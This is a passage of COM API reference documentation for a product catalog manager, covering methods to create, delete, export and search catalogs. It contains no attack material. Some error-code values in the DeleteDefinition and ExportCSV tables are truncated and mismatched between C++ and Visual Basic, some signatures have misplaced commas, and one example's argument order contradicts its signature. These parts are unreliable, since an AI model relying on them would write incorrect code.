cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server money data type.
cscFilePath | 8 | Indicates a String that holds a file path.
cscEnumeration | 9 | Indicates an Integer associated with a defined constant.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'varMaxLength is a Variant
'cscString is an enum of type cscEnumeration
varMaxLength = 128
Set rsNewPropAttribs = myCatalogManager.CreateProperty("Format", cscString, varMaxLength)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::DeleteProperty

[Visual Basic] CatalogManager.DeleteProperty

[C++] ICatalogManager3::GetPropertyAttributes

[Visual Basic] CatalogManager.GetPropertyAttributes

[C++] ICatalogManager3::SetPropertyAttributes

[Visual Basic] CatalogManager.SetPropertyAttributes


ICatalogManager3::DeleteCatalog Method [C++]

CatalogManager.DeleteCatalog Method [Visual Basic]

Use this method to delete a catalog from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::DeleteCatalog(
  BSTR strCatalogName
);
[Visual Basic]
Sub DeleteCatalog(
  strCatalogName As String
)

Parameters

strCatalogName [C++]
[in] A BSTR that contains the name of the catalog to be deleted.
strCatalogName [Visual Basic]
A String that contains the name of the catalog to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters: " [ ] , ' ( )#. You should not use these reserved characters.
E_CAT_CATALOG_EXPORT_IN_PROGRESS | [C++] 0x88980058 [Visual Basic] &H88980058 | The catalog you specified is currently being exported or imported. This catalog or its associated languages cannot be deleted.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.DeleteCatalog "OurStore"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCatalog

[Visual Basic] CatalogManager.CreateCatalog


ICatalogManager3::DeleteDefinition Method [C++]

CatalogManager.DeleteDefinition Method [Visual Basic]

Use this method to delete a definition from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::DeleteDefinition(
  BSTR strDefinitionName,
  VARIANT_BOOL fForceDelete
);
[Visual Basic]
Sub DeleteDefinition(
  strDefinitionName As String,
  Optional fForceDelete As Boolean
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition to be deleted.
strDefinitionName [Visual Basic]
A String that contains the name of the definition to be deleted.
fForceDelete [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to force a deletion. A value of True indicates that the definition should be deleted even if it is currently being used in a catalog. A value of False indicates that the definition should only be deleted if it is not currently being used in a catalog.
fForceDelete [Visual Basic]
A Boolean that specifies whether to force a deletion. A value of True indicates that the definition should be deleted even if it is currently being used in a catalog. A value of False indicates that the definition should only be deleted if it is not currently being used in a catalog. The default value is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The Definition you specified does not exist.
E_CAT_DEFINITION_USED_IN_CATALOG | [C++] 0x8898000 [Visual Basic] &H889800C | You cannot delete the Definition because it is still being used by one or more Catalogs. To delete the Definition, first remove all products and/or categories based on that Definition from all Catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use a value of True for the fForceDelete parameter with caution, as the category or product definition, and all categories and products that are based on them in all catalogs will also be deleted. This could result in data loss.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.DeleteDefinition "T-Shirts", FALSE

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCategoryDefinition

[Visual Basic] CatalogManager.CreateCategoryDefinition

[C++] ICatalogManager3::CreateProductDefinition

[Visual Basic] CatalogManager.CreateProductDefinition


ICatalogManager3::DeleteProperty Method [C++]

CatalogManager.DeleteProperty Method [Visual Basic]

Use this method to delete a property from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::DeleteProperty(
  BSTR strPropertyName
);
[Visual Basic]
Sub DeleteProperty(
  strPropertyName As String
)

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the property to be deleted.
strPropertyName [Visual Basic]
A String that contains the name of the property to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_PROP_DOESNT_EXIST | [C++] 0x88980005 [Visual Basic] &H88980005 | The property name you specified does not exist.
E_CAT_PROP_STILL_IN_DEF | [C++] 0x88980004 [Visual Basic] &H88980004 | The property you specified still resides in one or more Product or Category Definitions. To perform this operation, first remove the property from the Product or Category Definitions.
E_CAT_PROP_IS_ID | [C++] 0x88980011 [Visual Basic] &H88980011 | The property is currently being used as either the Product or Product-Variant unique ID column in one or more Catalogs. All Catalogs using this property as its unique ID must be deleted before this property can be deleted.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.DeleteProperty "Width"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProperty

[Visual Basic] CatalogManager.CreateProperty


ICatalogManager3::DeltaExportXML Method [C++]

CatalogManager.DeltaExportXML Method [Visual Basic]

Use this method to export updated catalog data to an Extensible Markup Language (XML) file.

Definition

[C++]
HRESULT ICatalogManager3::DeltaExportXML(
  VARIANT vrXML,
  VARIANT vrTimeStamp,
  VARIANT strCatalogsToExport,
  VARIANT_BOOL fRunSynchronously,
  CatalogXMLFmtEnum eXMLFmt
  BSTR strLang,
);
[Visual Basic]
Sub DeltaExportXML(
  vrXML As Variant,
  Optional vrTimeStamp As Variant,
  Optional strCatalogsToExport As Variant,
  Optional fRunSynchronously As Boolean,
  Optional eXMLFmt As CatalogXMLFmtEnum
  Optional strLang As String,
)

Parameters

vrXML [C++]
[in] A VARIANT that contains the XML file name or IStream object that is the target of the export.
vrXML [Visual Basic]
A Variant that contains the XML file name or IStream object that is the target of the export.
vrTimeStamp [C++]
[in, optional] A VARIANT that contains the time stamp that specifies the limit of the export. The Variant can of type Cdate or a String that can be converted to a valid date.
vrTimeStamp [Visual Basic]
A Variant that contains the time stamp that specifies the limit of the export. The Variant can of type Cdate or a String that can be converted to a valid date.
strCatalogsToExport [C++]
[in, optional] A VARIANT that contains the catalogs to export. See the Remarks section for more information.
strCatalogsToExport [Visual Basic]
A Variant that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt [C++]
[in, optional, defaultvalue (0)] A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
eXMLFmt [Visual Basic]
A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
strLang [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DATE | [C++] 0x889800C3 [Visual Basic] &H889800C3 | There was an error converting the date specified. Please specify a valid date.
E_CAT_INVALID_XML_FORMAT | [C++] 0x889800D9 [Visual Basic] &H889800D9 | The XML format that you specified is invalid.
E_CAT_FILE_CREATION_FAILED | [C++] 0x88980018 [Visual Basic] &H88980018 | The Catalog Export operation was unable to create the file you specified. Check that the file name you specified is valid and the directory that you specified exists and is not read-only.
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x88980025 [Visual Basic] &H88980025 | This operation cannot be started because an import operation is currently in progress.

Remarks

If the strCatalogsToExport parameter is missing or contains an empty string, then all catalogs that have been changed since the specified time stamp are exported. Otherwise the strCatalogsToExport parameter is a comma-separated list of catalog names to be exported.

If the vrTimeStamp parameter is missing or contains an empty string, then the complete catalog or catalogs are exported.

If the strLang parameter is not specified then the default system language of the Web server will be used for multilingual properties.

The following table shows the values in the CatalogXMLFmtEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscFmtElementCentric | 0 | Export in Commerce Server 2000 format. (Default)
cscFmtAttributeCentric | 1 | Export in Commerce Server 2002 format.
cscFmtXDR | 2 | Export the Commerce Server 2002 schema as XDR. (No data)

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ImportCSV or ImportXML method in progress. After the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

Some characters are not valid in an XML attribute name. When a catalog is exported in the attribute-centric mode these characters are encoded in the form _xHHHH_ where HHHH is the hex value of the character. The following characters are encoded:

  • Back slash (\)
  • Forward slash (/)
  • Ampersand (&)
  • Left angle bracket (<)
  • Right angle bracket (>)
  • All characters in the range 0xF900 to 0xFFFE

Caution

  • If you call this method on a virtual catalog the resulting XML data will not include changes that are caused by changes in inclusion or exclusion rules. It will include changes inherited from a base catalog.
  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes exporting the catalog, it will be terminated prematurely and the catalog will not be exported successfully.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be stopped. Other methods should work after the interruption.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.DeltaExportXML("C:\MyXMLFile.xml", "2/27/01", "Clothes, Shoes", False, "ENU", cscFmtAttributeCentric)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportXML

[Visual Basic] CatalogManager.ExportXML

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::ExportCSV Method [C++]

CatalogManager.ExportCSV Method [Visual Basic]

Use this method to export catalog data to a comma-separated values (CSV) format file.

Definition

[C++]
HRESULT ICatalogManager3::ExportCSV(
  BSTR strCSVDestination,
  BSTR strCatalogToExport
  VARIANT_BOOL fRunSynchronously
  BSTR strLang,
);
[Visual Basic]
Sub ExportCSV(
  strCSVDestination As String,
  strCatalogToExport As String
  fRunSynchronously As Boolean
  Optional strLang As String,
)

Parameters

strCSVDestination [C++]
[in] A BSTR that contains the full path and file name of the export file to be created.
strCSVDestination [Visual Basic]
A String that contains the full path and file name of the export file to be created.
strCatalogToExport [C++]
[in] A BSTR that contains the name of the catalog to export.
strCatalogToExport [Visual Basic]
A String that contains the name of the catalog to export.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
strLang [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C++] 0x8898006 [Visual Basic] &H8898003 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x8898004 [Visual Basic] &H8898002 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003 [Visual Basic] &H889800D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009 [Visual Basic] &H889800E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_FILE_CREATION_FAILED | [C++] 0x8898001 [Visual Basic] &H8898008 | The Catalog Export operation was unable to create the file you specified. Check that the file name you specified is valid and the directory that you specified exists and is not read-only.
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x8898002 [Visual Basic] &H8898005 | This operation cannot be started because an import operation is currently in progress.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The ExportCSV method can be used to output product data from the Product Catalog System in a format that can be used in other programs, such as Microsoft Excel.

This method can only output product data from one catalog at a time.

The CSV file generated only contains products and product families. The categories, relationships, and hierarchy are not written to the CSV file.

If the strLang parameter is not specified then the default system language of the Web server will be used for multilingual properties.

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ImportCSV or ImportXML method in progress. After the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be stopped. Other methods should work after the interruption.

Caution

  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes exporting the catalog, it will be terminated prematurely and the catalog will not be exported successfully.
  • Changes made to the catalog while an export is in progress may or may not be reflected in the output file. Additions and deletions made during the export could result in a corrupt file. Changes should be avoided during an export.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.ExportCSV "c:\exports\ourcatalog.csv", "OurStore"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportXML

[Visual Basic] CatalogManager.ExportXML

[C++] ICatalogManager3::ImportCSV

[Visual Basic] CatalogManager.ImportCSV


ICatalogManager3::ExportXML Method [C++]

CatalogManager.ExportXML Method [Visual Basic]

Use this method to export catalog data to an Extensible Markup Language (XML) file.

Definition

[C++]
HRESULT ICatalogManager3::ExportXML(
  VARIANT vrXML,
  VARIANT strCatalogsToExport,
  VARIANT_BOOL fRunSynchronously,
  CatalogXMLFmtEnum eXMLFmt
  BSTR strLang,
);
[Visual Basic]
Sub ExportXML(
  vrXML As Variant,
  Optional strCatalogsToExport As Variant,
  Optional fRunSynchronously As Boolean,
  Optional eXMLFmt As CatalogXMLFmtEnum
  Optional strLang As String,
)

Parameters

vrXML [C++]
[in] A VARIANT that contains the XML file name or IStream object that is the target of the export.
vrXML [Visual Basic]
A Variant that contains the XML file name or IStream object that is the target of the export.
strCatalogsToExport [C++]
[in, optional] A VARIANT that contains the catalogs to export. See the Remarks section for more information.
strCatalogsToExport [Visual Basic]
A Variant that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt [C++]
[in, optional, defaultvalue (0)] A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
eXMLFmt [Visual Basic]
A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
strLang [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name. that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that contains the culture name. The default value is (""). The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_IMPORT_IN_PROGRESS | [C++] 0x88980025 [Visual Basic] &H88980025 | There was an existing import method call that had not yet completed. This method cannot run while an import is in progress.
E_CAT_FILE_CREATION_FAILED | [C++] 0x88980018 [Visual Basic] &H88980018 | The method was unable to create the output file.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the strCatalogsToExport parameter is missing or contains an empty string, then all catalogs are exported. Otherwise the parameter strCatalogsToExport is a comma-separated list of catalog names to be exported. If you specify a virtual catalog in the strCatalogsToExport parameter, a snapshot of the virtual catalog will be exported as a base catalog.

If the strLang parameter is not specified then the default system language of the Web server will be used for multilingual properties.

The following table shows the values in the CatalogXMLFmtEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscFmtElementCentric | 0 | Export in Commerce Server 2000 format. (Default)
cscFmtAttributeCentric | 1 | Export in Commerce Server 2002 format.
cscFmtXDR | 2 | Export the Commerce Server 2002 schema as XDR. (No data)

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ImportCSV or ImportXML method in progress. After the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

Some characters are not valid in an XML attribute name. When a catalog is exported in the attribute-centric mode these characters are encoded in the form _xHHHH_ where HHHH is the hex value of the character. The following characters are encoded:

  • Back slash (\)
  • Forward slash (/)
  • Ampersand (&)
  • Left angle bracket (<)
  • Right angle bracket (>)
  • All characters in the range 0xF900 to 0xFFFE

Caution

  • If you call this method from Visual Basic Scripting Edition (VBScript) with the fRunSynchronously parameter set to False, VBScript will unload the object as soon as the script ends. If the script ends before the spawned thread finishes exporting the catalog it will be terminated prematurely and the catalog will not be exported successfully.
  • Changes made to the catalog while an export is in progress may or may not be reflected in the output file. Additions and deletions made during the export could result in a corrupt file. Changes should be avoided during an export.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.ExportXML "c:\exports\ourcatalog.xml", "OurStore"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::ExportCSV

[Visual Basic] CatalogManager.ExportCSV

[C++] ICatalogManager3::ImportXML

[Visual Basic] CatalogManager.ImportXML

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::FreeTextSearch Method [C++]

CatalogManager.FreeTextSearch Method [Visual Basic]

You can use this method to perform a free-text search of catalogs, however the recommended method to implement this functionality is the Search method.

Definition

[C++]
HRESULT ICatalogManager3::FreeTextSearch(
  BSTR strPhrase,
  VARIANT strCatalogsToSearch,
  VARIANT eClassTypeRequired,
  VARIANT strPropertiesToReturn,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSResult
);
[Visual Basic]
Function FreeTextSearch(
  strPhrase As String,
  Optional strCatalogsToSearch As Variant,
  Optional eClassTypeRequired As Variant,
  Optional strPropertiesToReturn As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

strPhrase [C++]
[in] A BSTR that contains the search phrase.
strPhrase [Visual Basic]
A String that contains the search phrase.
strCatalogsToSearch [C++]
[in, optional] A VARIANT that contains the catalogs to search in a comma-separated list. An empty string indicates search all catalogs.
strCatalogsToSearch [Visual Basic]
A Variant that contains the catalogs to search in a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn [C++]
[in, optional] A VARIANT that contains the properties to return. This is a comma-delimited String.
strPropertiesToReturn [Visual Basic]
A Variant that contains the properties to return. This is a comma-delimited String.
strPropertyToSortOn [C++]

[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset. To search by rank, you must pass the FREETEXTSEARCH_RANK key to the strPropertiesToSortOn parameter. The FREETEXTSEARCH_RANK property indicates how well a row matched the search phrase. In this method, it can be used only of the strFTSPhrase parameter is specified. You can specify the FREETEXTSEARCH_RANK in the PropertiestoReturn parameter and also rank results by specifying it in the PropertiesToSortOn parameter.

strPropertyToSortOn [Visual Basic]

A Variant that contains the property on which to sort. This must be a property in the returned recordset. To search by rank, you must pass the FREETEXTSEARCH_RANK key to the strPropertiesToSortOn parameter. The FREETEXTSEARCH_RANK property indicates how well a row matched the search phrase. . In this method, it can be used only of the strFTSPhrase parameter is specified.

fSortAscending [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the number of the starting record to retrieve. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the number of the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve beginning from the starting record. A value of minus one (-1) indicates return all records.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the number of records returned in the search.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the number of records returned in the search.
ppRSResult [C++]
